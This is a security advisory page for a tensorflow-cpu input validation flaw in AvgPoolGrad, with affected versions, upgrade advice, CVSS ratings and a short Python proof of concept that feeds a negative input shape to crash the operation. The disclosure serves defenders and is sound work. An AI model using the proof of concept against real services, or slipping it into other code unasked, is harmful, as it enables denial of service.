Improper Input Validation Affecting tensorflow-cpu package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.08% (37th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-TENSORFLOWCPU-3026870
  • published 18 Sep 2022
  • disclosed 16 Sep 2022
  • credit Neophytos Christou

How to fix?

Upgrade tensorflow-cpu to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow-cpu is a machine learning framework.

Affected versions of this package are vulnerable to Improper Input Validation due to improper validation of orig_input_shape in AvgPoolGrad.

PoC

import tensorflow as tf

ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "VALID"
data_format = "NHWC"
orig_input_shape = tf.constant(-536870912, shape=[4], dtype=tf.int32)
grad = tf.constant(.0890338004362538, shape=[1,5,7,1], dtype=tf.float64)
tf.raw_ops.AvgPoolGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.1 medium
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

7.5 high